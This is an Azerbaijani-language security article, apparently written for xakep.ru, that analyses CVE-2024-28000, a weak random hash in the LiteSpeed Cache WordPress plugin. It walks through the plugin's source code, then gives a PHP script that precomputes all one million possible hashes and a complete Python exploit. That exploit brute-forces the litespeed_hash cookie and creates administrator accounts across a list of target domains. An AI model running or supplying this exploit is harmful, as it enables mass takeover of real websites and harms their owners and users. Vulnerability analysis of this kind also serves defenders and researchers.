CVE-2024-28000 Analizi və istismarlar haqqında.
Author: Huseyn Gadashov
Məqalə xüsusi olaraq xakep.ru üçün yazılmışdır.
CVE işıq sürəti ilə. LiteSpeed Cache üçün açıq eksploiti düzəldirik
Bu gün mən LiteSpeed Cache-dəki bir zəifliyi araşdıracağam — saytların işini sürətləndirmək üçün populyar bir plagin. Bu plagin WooCommerce, bbPress, ClassicPress və Yoast kimi məşhur mühərriklərlə işləyir və bu günə qədər 5 milyondan çox qurğusu var. Gəlin baxaq, necə ki, keyfiyyətsiz təsadüfi ədədlərin yaradılması admin imtiyazlarına yüksəliş imkanına gətirib çıxarıb.
Xəbərlərdə hansısa möhtəşəm bir zəiflik yayımlandıqdan sonra, dörd tip insanı müşahidə etmək olar:
- Tam işləməyən və təkmilləşdirmə tələb edən pulsuz eksploiti tez bir zamanda paylaşanlar.
- PoC (Konsepsiya sübutu) GitHub, YouTube və ya digər platformalarda yayımlayıb, satın alma linki və ya əlaqə məlumatlarını yerləşdirənlər.
- Zəifliyi təhlil edib, onun təhlükəsini ətraflı təsvir edən, lakin PoC təqdim etməyənlər.
- Bütün digərlərini tənqid etməyi sevənlər.
Bu gün mən üçüncü və dördüncü tipləri birləşdirəcəyəm: sizə zəiflik haqqında danışacağam və ilk iki kateqoriyadan olan hakerləri tənqid edəcəyəm.
Vəziyyət haqqında qısa məlumat
Bizim nəzərdən keçirəcəyimiz zəifliyi John Blackbourn tapıb və o, CVE-2024-28000 identifikatorunu alıb.
Patchstack şirkəti iddia edir:
Bu zəiflik üçün WordPress tarixində ən yüksək mükafat təyin edilmişdir. Patchstack Zero Day proqramı tədqiqatçıya 14.400 ABŞ dolları nağd pul mükafatı verib.
Wordfence (rəqib) bildirir:
Bu zəiflik Wordfence Bug Bounty proqramında bildirilmiş olmasa da, bizdə olan məlumata əsasən, hazırda keçirilən Superhero Challenge müsabiqəmizdə ona təxminən 23.400–31.200 ABŞ dolları məbləğində mükafat verilə bilərdi.
Zəifliyin təhlili
Zəiflik ondan ibarətdir ki, plaqinin müəyyən bir hissəsində heş yaradılır, bu heş kuki kimi istifadə olunur və onun vasitəsilə admin hesabı yaratmaq mümkündür. Heşin əsası isə saniyənin hissələrinə əsaslanan təsadüfi ədəddir. Belə ədədlərin kombinasiyaları məhduddur, bu da heşi tapmağa imkan verir.
Heş niyə yaradılır?
LiteSpeed Cache-də istifadəçini simulyasiya etmək üçün bir funksiya var, bu funksiya daxilində heş yaradılır və saxlanılır. Bu heş litespeed_hash
kukisi kimi istifadə olunur. Onun yaradılması üçün krauler funksiyasını aktivləşdirmək lazımdır. Əgər kodda get_hash
funksiyasını axtarsanız, görərsiniz ki, bu funksiya iki yerdə çağırılır. Heşin necə yaradıldığını təhlil etməzdən əvvəl, gəlin bu funksiyanın hansı hallarda çağırıldığını araşdıraq.
self_curl
funksiyası cURL kitabxanasından istifadə edərək HTTP sorğusu yerinə yetirmək üçün nəzərdə tutulub:
public function self_curl($url, $ua, $uid = false, $accept = false)
{
// $accept hələ istifadə olunmur
$this->_crawler_conf['base'] = home_url();
$this->_crawler_conf['ua'] = $ua;
if ($accept) {
$this->_crawler_conf['headers'] = array('Accept: ' . $accept);
}
if ($uid) {
$this->_crawler_conf['cookies']['litespeed_role'] = $uid;
$this->_crawler_conf['cookies']['litespeed_hash'] = Router::get_hash();
}
$options = $this->_get_curl_options();
$options[CURLOPT_HEADER] = false;
$options[CURLOPT_FOLLOWLOCATION] = true;
$ch = curl_init();
curl_setopt_array($ch, $options);
curl_setopt($ch, CURLOPT_URL, $url);
$result = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code != 200) {
self::debug('❌ self_curl() funksiyasında cavab kodu 200 deyil [kod] ' . var_export($code, true));
return false;
}
return $result;
}
Bu funksiya URL, User-Agent və istifadəçi identifikatoru ($uid
) kimi bir neçə parametr qəbul edir. O, home_url()
metodu ilə əsas URL-i təyin edir və ötürülən User-Agent
-i saxlayır. Əgər istifadəçi identifikatoru ötürülürsə, litespeed_role
və litespeed_hash
kukiləri yaradılır.
Məsələ burasındadır ki, self_curl
funksiyası prepare_html
funksiyasında istifadə olunur:
public function prepare_html($request_url, $user_agent, $uid = false)
{
$html = $this->cls('Crawler')->self_curl(add_query_arg('LSCWP_CTRL', 'before_optm', $request_url), $user_agent, $uid);
prepare_html
funksiyası _send_req
funksiyasında istifadə olunur:
private function _send_req($request_url, $queue_k, $uid, $user_agent, $vary, $url_tag, $type, $is_mobile, $is_webp)
{
// Göndərməyə icazə olub-olmadığını yoxla
$err = false;
$allowance = $this->cls('Cloud')->allowance(Cloud::SVC_CCSS, $err);
if (!$allowance) {
Debug2::debug('[CCSS] ❌ Kredit yoxdur: ' . $err);
$err && Admin_Display::error(Error::msg($err));
return 'out_of_quota';
}
// CSS sorğu statusunu yenilə
$this->_summary['curr_request_' . $type] = time();
self::save_summary();
// Göndərmək üçün qonaq HTML-i topla
$html = $this->prepare_html($request_url, $user_agent, $uid);
if (!$html) {
return false;
}
......
_send_req
funksiyası _cron_handler
funksiyasından çağırılır:
private function _cron_handler($type, $continue)
{
$this->_queue = $this->load_queue($type);
if (empty($this->_queue)) {
return;
}
$type_tag = strtoupper($type);
// Cron üçün, sorğu intervalını da yoxlamaq lazımdır
if (!$continue) {
if (!empty($this->_summary['curr_request_' . $type]) && time() - $this->_summary['curr_request_' . $type] < 300 && !$this->conf(self::O_DEBUG)) {
Debug2::debug('[' . $type_tag . '] Son sorğu bitməyib');
return;
}
}
$i = 0;
$timeoutLimit = ini_get('max_execution_time');
$this->_endts = time() + $timeoutLimit;
foreach ($this->_queue as $k => $v) {
if (!empty($v['_status'])) {
continue;
}
if (function_exists('set_time_limit')) {
$this->_endts += 120;
set_time_limit(120);
}
if ($this->_endts - time() < 10) {
// self::debug("🚨 Zaman limiti çatdığı üçün döngü sona çatır " . $timeoutLimit . "s");
// return;
}
Debug2::debug('[' . $type_tag . '] cron işi [tag] ' . $k . ' [url] ' . $v['url'] . ($v['is_mobile'] ? ' 📱 ' : '') . ' [UA] ' . $v['user_agent']);
if ($type == 'ccss' && empty($v['url_tag'])) {
unset($this->_queue[$k]);
$this->save_queue($type, $this->_queue);
Debug2::debug('[CCSS] səhv queue_ccss formatı');
continue;
}
if (!isset($v['is_webp'])) {
$v['is_webp'] = false;
}
$i++;
$res = $this->_send_req($v['url'], $k, $v['uid'], $v['user_agent'], $v['vary'], $v['url_tag'], $type, $v['is_mobile'], $v['is_webp']);
if (!$res) {
// Status səhvdir, bu növbəni çıxar
unset($this->_queue[$k]);
$this->save_queue($type, $this->_queue);
......
_cron_handler
funksiyası cron_ccss
funksiyasından çağırılır:
public static function cron_ccss($continue = false)
{
$_instance = self::cls();
return $_instance->_cron_handler('ccss', $continue);
}
cron_ccss
funksiyası _cron_handler
funksiyasını işə salmaq üçün bir sarmaldır. O, _cron_handler
funksiyasını çağırır, ccss
tipini və $continue
bayrağını ötürür. _cron_handler
funksiyası göstərilən tip üçün (ccss
) iş növbəsini load_queue
metodu vasitəsilə yükləyir. Əgər növbə boşdursa, funksiya icraatı dayandırır, çünki emal üçün tapşırıqlar yoxdur.
Yəni cron_ccss
funksiyası _ccss
funksiyasını emala göndərir, burada uid
— get_current_user_id
funksiyasının nəticəsidir, o da istifadəçi ID-sini _wp_get_current_user
funksiyasından alır. Yəni istifadəçi ID-si mühərrikin özündən gəlir, istifadəçidən deyil. Bu o deməkdir ki, biz onu manipulyasiya edə bilməyəcəyik və get_hash()
funksiyasının çağırıldığı ikinci yeri təhlil etmək lazımdır:
private function _ccss()
{
global $wp;
$request_url = home_url($wp->request);
$filepath_prefix = $this->_build_filepath_prefix('ccss');
$url_tag = $this->_gen_ccss_file_tag($request_url);
$vary = $this->cls('Vary')->finalize_full_varies();
$filename = $this->cls('Data')->load_url_file($url_tag, $vary, 'ccss');
if ($filename) {
$static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css';
if (file_exists($static_file)) {
Debug2::debug2('[CSS] mövcud ccss ' . $static_file);
Core::comment('QUIC.cloud CCSS yükləndi ✅ ' . $filepath_prefix . $filename . '.css');
return File::read($static_file);
}
}
$uid = get_current_user_id();
_get_curl_options
funksiyasının təhlilinə keçək:
private function _get_curl_options($crawler_only = false)
{
$options = array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_CUSTOMREQUEST => 'GET',
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_ENCODING => 'gzip',
CURLOPT_CONNECTTIMEOUT => 10,
.....
if ($crawler_only) {
$this->_crawler_conf['cookies']['litespeed_hash'] = Router::get_hash();
}
.....
Bizim üçün vacib olan budur ki, əgər $crawler_only = true
-dursa, onda bizim heş yaradılacaq. _get_curl_options
çağırışı _do_running
funksiyasından edilir, burada $crawler_only
true
kimi ötürülür:
private function _do_running()
{
$options = $this->_get_curl_options(true);
Çağırış zənciri belədir:
_engine_start
funksiyası_crawl_data($manually_run)
funksiyasından çağırılır_crawl_data
funksiyasıstart($manually_run = false)
funksiyasında istifadə olunurstart
funksiyasıasync_handler($manually_run = false)
funksiyasında istifadə olunurasync_handler
funksiyasıasync_litespeed_handler
funksiyasından çağırılır.
Hər çağırışda manually_run
yoxlanılır və dəyəri doğru olmalıdır. Budur, async_litespeed_handler
funksiyasından async_handler
funksiyasının çağırılması:
public static function async_litespeed_handler()
{
$type = Router::verify_type();
self::debug('type=' . $type);
// Emal zamanı digər sorğuları bloklama
session_write_close();
switch ($type) {
case 'crawler':
Crawler::async_handler();
break;
case 'crawler_force':
Crawler::async_handler(true);
break;
case 'imgoptm':
Img_Optm::async_handler();
break;
case 'imgoptm_force':
Img_Optm::async_handler(true);
break;
default:
}
}
Yəni heş yaradılacaq, əgər kimsə aşağıdakı ünvana sorğu göndərsə:
wp-admin/admin-ajax.php?action=async_litespeed&litespeed_type=crawler_force
Heş krauler üçün yaradılır, onu ya admin panelində müvafiq ayarı aktivləşdirməklə, ya da autentifikasiyanı tələb etməyən bir funksiya vasitəsilə çağırmaq olar. Əsas hesabatda buna işarə edirdilər, amma funksiyanın əslində necə çağırıldığını göstərmirdilər. Ona görə də hazırda açıq eksploitlərin hamısı işləmir. Belə gülməli vəziyyət yaranıb “eksploit inkişaf etdiriciləri” üçün:
def trigger_hash_generation():
payload = {
'action': 'async_litespeed',
'litespeed_type': 'crawler'
}
private static async Task TriggerHashGeneration()
{
var payload = new Dictionary<string, string>
{
{ "action", "async_litespeed" },
{ "litespeed_type": "crawler" }
};
def trigger_hash_generation(target_url):
ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
params = {
"action": "async_litespeed",
"litespeed_type": "crawler"
}
Heş necə yaradılır?
Heş bizim halda altı təsadüfi simvoldan ibarət sətirdir. get_hash
funksiyasına baxsaq, görərik ki, o, rrand
funksiyasını çağırır:
public static function get_hash()
{
// Əgər əvvəlki heş mövcuddursa, ondan istifadə et
$hash = self::get_option(self::ITEM_HASH);
if ($hash) {
return $hash;
}
$hash = Str::rrand(6);
self::update_option(self::ITEM_HASH, $hash);
return $hash;
}
rrand
funksiyası müəyyən uzunluqda təsadüfi sətir yaratmaq üçün nəzərdə tutulub, əvvəlcədən təyin edilmiş simvollar dəstindən seçilmiş simvollardan ibarət:
public static function rrand($len, $type = 7)
{
mt_srand((int) ((float) microtime() * 1000000));
switch ($type) {
case 0:
$charlist = '012';
break;
case 1:
$charlist = '0123456789';
break;
case 2:
$charlist = 'abcdefghijklmnopqrstuvwxyz';
break;
case 3:
$charlist = '0123456789abcdefghijklmnopqrstuvwxyz';
break;
case 4:
$charlist = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
case 5:
$charlist = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
case 6:
$charlist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
case 7:
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
}
$str = '';
$max = strlen($charlist) - 1;
for ($i = 0; $i < $len; $i++) {
$str .= $charlist[mt_rand(0, $max)];
}
return $str;
}
Burada $len
— yaradılan sətirin uzunluğunu müəyyən edir. $type = 7
isə simvolların tam dəstindən istifadə edir:
case 7:
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
Sonra mt_srand
funksiyası istifadə olunur, bu da mt_rand
üçün başlanğıc dəyəri (seed) təyin edir:
mt_srand((int) ((float) microtime() * 1000000));
Seed nədir və niyə vacibdir?
Bildiyin kimi, kompüterlərdə təsadüfi ədədlər müəyyən alqoritmlarla yaradılır və bu alqoritmlər bir başlanğıc dəyərinə (seed) əsaslanır. Eyni seed istifadə edilərsə, eyni “təsadüfi” ədədlər ardıcıllığı əldə edilir.
[Seed nədir
Əgər hələ də bunun necə işlədiyini tam anlamırsansa, sadə bir nümunəyə baxaq:
<?php
mt_srand(1);
$max = 61;
print(mt_rand(0, $max));
?>
Burada mt_srand(1)
funksiyası generatora sabit bir başlanğıc dəyəri verir. Nəticədə hər dəfə skript işə salındıqda, eyni ədəd əldə edilir.
Beləliklə, bizim kodda seed 0-dan 999999-a qədər bir dəyər alır və mt_rand
-ın bir çağırışı nəticəsində milyon mümkün variant əldə edilir.
microtime()
necə işləyir
microtime()
funksiyası cari zamanı saniyələrdə mikrosekund dəqiqliyi ilə qaytarır:
0.123456 // 123456 mikrosekund təmsil edir
Kodda biz bunu tam ədədə çevirmək üçün 1.000.000-a vururuq və int tipinə çeviririk.
Beləliklə, bizdə dəqiq bir milyon mümkün seed var.
Seed eyni olduqda, mt_rand
-ın nəticəsi də eyni olacaq. Bu halda, heşin mümkün variantları bir milyondur.
Əgər heşin bir milyona qədər mümkün variantı varsa, biz onları bruteforce edib, lazımi kukini əldə edə və imtiyaz tələb edən funksiyalara giriş əldə edə bilərik. Mən LiteSpeed-dən heşin yaradılması kodunu götürdüm və bütün mümkün heşləri hashes.txt
faylına saxlayan funksiyalar əlavə etdim:
<?php
function rrand($len, $a, $type = 7) {
mt_srand($a);
switch ($type) {
case 0:
$charlist = '012';
break;
case 1:
$charlist = '0123456789';
break;
case 2:
$charlist = 'abcdefghijklmnopqrstuvwxyz';
break;
case 3:
$charlist = '0123456789abcdefghijklmnopqrstuvwxyz';
break;
case 4:
$charlist = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
case 5:
$charlist = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
case 6:
$charlist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
case 7:
$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
break;
}
$str = '';
$max = strlen($charlist) - 1;
for ($i = 0; $i < $len; $i++) {
$str .= $charlist[mt_rand(0, $max)];
}
return $str;
}
function generate_and_save($start, $end, $filename) {
$results = [];
for ($a = $start; $a <= $end; $a++) {
$results[] = rrand(6, $a);
}
file_put_contents($filename, implode("\n", $results), FILE_APPEND);
}
$thread_count = 1000;
$range = intdiv(1000000, $thread_count);
$filename = 'hashes.txt';
if (file_exists($filename)) {
unlink($filename);
}
$child_pids = [];
for ($i = 0; $i < $thread_count; $i++) {
$pid = pcntl_fork();
if ($pid == -1) {
die("Fork xətası.");
} else if ($pid) {
$child_pids[] = $pid;
} else {
$start = $i * $range;
$end = ($i + 1) * $range - 1;
if ($i === $thread_count - 1) {
$end = 999999;
}
generate_and_save($start, $end, $filename);
exit(0);
}
}
foreach ($child_pids as $pid) {
pcntl_waitpid($pid, $status);
}
echo "Hazırdır $filename.\n";
?>
Heşlərin yaradılması — eksploitimizin ikinci vacib hissəsidir və bu da açıq eksploitlərdə səhv yazılıb. Onlar sadəcə rrand(6)
istifadə ediblər, bu da mümkün variantların sayını 62^6 = 56.800.235.584-ə gətirir.
C:\home\xakep> cat hashes.txt| nl | grep 'Bmmtww'
738197 Bmmtww
Mən öz heşimi (DB → wp_options
→ option_name
= litespeed.router.hash
) siyahıdakı heşlərlə yoxladım və hər şey uyğun gəldi.
Eksploit
Beləliklə, bizdə heşlərin siyahısı var. Skriptimiz aşağıdakıları etməlidir:
crawler_force
sorğusunu göndərmək;- Heşləri bruteforce etmək;
- Bruteforce edilmiş heş ilə admin hesabı yaratmaq.
Bütün bunları edəcək kod:
cve.py
import requests
import argparse
import json
import random
from concurrent.futures import ThreadPoolExecutor, as_completed, wait, FIRST_COMPLETED
from threading import Event
from urllib.parse import urlparse
def load_hashes(file_path):
with open(file_path, 'r') as f:
return [line.strip() for line in f.readlines()]
def send_request(domain, endpoint, data=None, method='POST', headers=None, timeout=10):
parsed_url = urlparse(domain)
scheme = parsed_url.scheme or 'http'
url = f"{scheme}://{parsed_url.netloc}{endpoint}"
try:
response = requests.request(method, url, json=data, headers=headers, verify=False, timeout=timeout)
return response
except requests.exceptions.RequestException as e:
print(f"{url} ilə əlaqə qurulmadı: {e}")
return None
def check_wp_json(domain):
paths = ["/wp-json/", "/index.php/wp-json/"]
for path in paths:
response = send_request(domain, path, method='GET')
if response and ("wp-json\\/batch\\/v1" in response.text or "rest_not_logged_in" in response.text):
return path
return None
def check_litespeed_crawler(domain):
endpoint = "/wp-admin/admin-ajax.php?action=async_litespeed&litespeed_type=crawler_force"
response = send_request(domain, endpoint, method='GET')
if response and response.status_code == 200:
print(f"{domain} üzərində Litespeed krauler sorğusu uğurlu oldu")
else:
print(f"{domain} üzərində Litespeed krauler sorğusu uğursuz oldu: {response.status_code if response else 'Cavab yoxdur'}")
def generate_username_and_email():
n = random.randint(101, 199)
username = f"wpmanagermain{n}"
email = f"{username}@xxx-tower.net"
return username, email
def single_exploit(domain, path, hash_value, stop_event):
if stop_event.is_set():
return None
username, email = generate_username_and_email()
headers = {
"Cookie": f"litespeed_hash={hash_value}; litespeed_role=1",
"Content-Type": "application/json"
}
data = {
"username": username,
"password": "Manager!2937",
"email": email,
"roles": ["administrator"]
}
endpoint = f"{path}wp/v2/users"
response = send_request(domain, endpoint, data=data, headers=headers)
if response and response.status_code == 401:
print(f"Uğursuz: 401 İcazəsiz {domain} üzərində")
elif response and "capabilities" in response.text:
print(f"Uğurlu: {username}:Manager!2937:{domain} - heş {hash_value} idi")
stop_event.set()
return True
else:
print(f"{domain} üzərində cavab: {response.status_code} {response.text}")
return False
def exploit(domain, hashes):
path = check_wp_json(domain)
if path:
stop_event = Event()
with ThreadPoolExecutor(max_workers=100) as executor:
futures = [
executor.submit(single_exploit, domain, path, hash_value, stop_event) for hash_value in hashes
]
done, not_done = wait(futures, return_when=FIRST_COMPLETED)
if any(f.result() for f in done):
stop_event.set()
executor.shutdown(wait=False)
else:
for future in not_done:
future.cancel()
else:
print(f"Uğursuz: {domain} üçün uyğun wp-json yolu tapılmadı")
def main():
parser = argparse.ArgumentParser(description="Domain Exploit Tool")
parser.add_argument("-f", "--file", required=True, help="Domainlərin siyahısını ehtiva edən fayl")
args = parser.parse_args()
hashes = load_hashes("hashes.txt")
with open(args.file, 'r') as f:
domains = [line.strip() for line in f.readlines()]
for domain in domains:
print(f"{domain} işlənir")
check_litespeed_crawler(domain)
exploit(domain, hashes)
if __name__ == "__main__":
main()
Belə işlətmək olar:
python3 cve.py -f domainsWithScheme.txt
Nəticələr
Gördüyünüz kimi, açıq eksploitlər hətta nisbətən sadə zəifliklər üçün belə çox vaxt yararsızdır. Lakin mənbə kodunu bir az araşdırmaq, zəif funksiyaları tapmaq və CVE-də təsvir edilən səhvin niyə və hansı şəraitdə mümkün olduğunu anlamaq kifayətdir ki, eksploitasiyanın prosesi aydın olsun.